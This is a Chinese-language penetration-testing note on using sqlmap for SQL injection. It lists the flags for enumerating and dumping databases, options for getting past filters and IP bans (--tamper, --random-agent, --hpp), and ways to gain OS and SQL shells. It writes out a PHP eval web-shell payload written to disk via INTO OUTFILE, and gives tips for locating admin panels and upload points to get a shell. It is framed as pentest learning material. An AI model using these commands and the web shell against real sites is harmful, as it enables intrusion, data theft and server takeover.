在滲透測試中,sqlmap是常用的注入工具,相比手注而言更為快捷但如果是挖洞的話還是手注效率更高。
sqlmap是一款開源的滲透測試工具,能夠對頁面中的get/post參數,cookie,http頭等進行檢測。
sqlmap支持五種檢測類型
- 基於union的聯合注入
- 布爾盲注
- 時間盲注
- 堆疊注入
- 組合查詢語句看是否報錯
支持的數據庫很多比如 Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
在注入之前可以通過一些方法讓工具使用更加准確快捷,在進入一個網站時可以使用插件或者網站指紋分析來判斷該網站的語言推斷出數據庫這樣可以使用 -dbms=xxx提高注入效率,判斷注入點和注入類型
設置線程等等。
那么拿到站一般的過程是 -
-current-db查看數據庫
-D 數據庫名 --tables 查看所有表
-T 表名 --columns 查看字段 然后托庫
如果在注入時存在一些問題可以加上一些命令
--current-db --hex 十六進制編碼
--current-db --no-cast 一種編碼
--current-db --hpp 對http參數污染
--current-db --tamper xxx.py 使用腳本進行繞過
--current-db --risk = 5 --level = 3 設置risk和leval的等級
–threads = 50增加默認線程
--batch,自動注入
–safe-freq和–random-agent 如果ip被ban
關於post注入
--current-db --cookie "id=1" 通過burp抓包在cookie user-agent處加* sqlmap注入
?id=1 -r 1.txt 也可以添加–os-shell,–sql-shell,–os-pwn
--os-shell 需要絕對路徑且secure_file_priv不為NULL 且為dba權限
--is-dba 檢測dba權限
?id=-1 union select 1,2,@@secure_file_priv
select @@secure_file_priv
這兩條命令檢測secure_file_priv是否為null 如果secure_file_priv為null的話呢么大概率拿不到權限
--os-shell創建一個對方操作系統的shell執行命令 需要知道語言 asp aspx jsp php 和絕對路徑
1 為使用路徑 2是用戶自己輸入 3是用戶自己的字典 4是爆破
--sql-shell
需要支持堆疊注入,有寫入的權限,
select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";
那么如果存在注入找到密碼,我們找到了網站后台用密碼進入后台可以找上傳點拿shell
網站后台一般存在當前網站根目錄下面或者旁站、二級域名、其他服務器
admin.php,manage.php 根目錄下/admin,/manage,還有織夢系統的默認后台地址/dede
可以通過谷歌語法尋找 存在且能查看robots.txt通過查看該文件 網站上的圖片資源鏈接等
該網站如果是cms或者cms修改搭建的可以看cms的一些特征
敏感文件 .svn .git 的信息泄露 和源碼泄露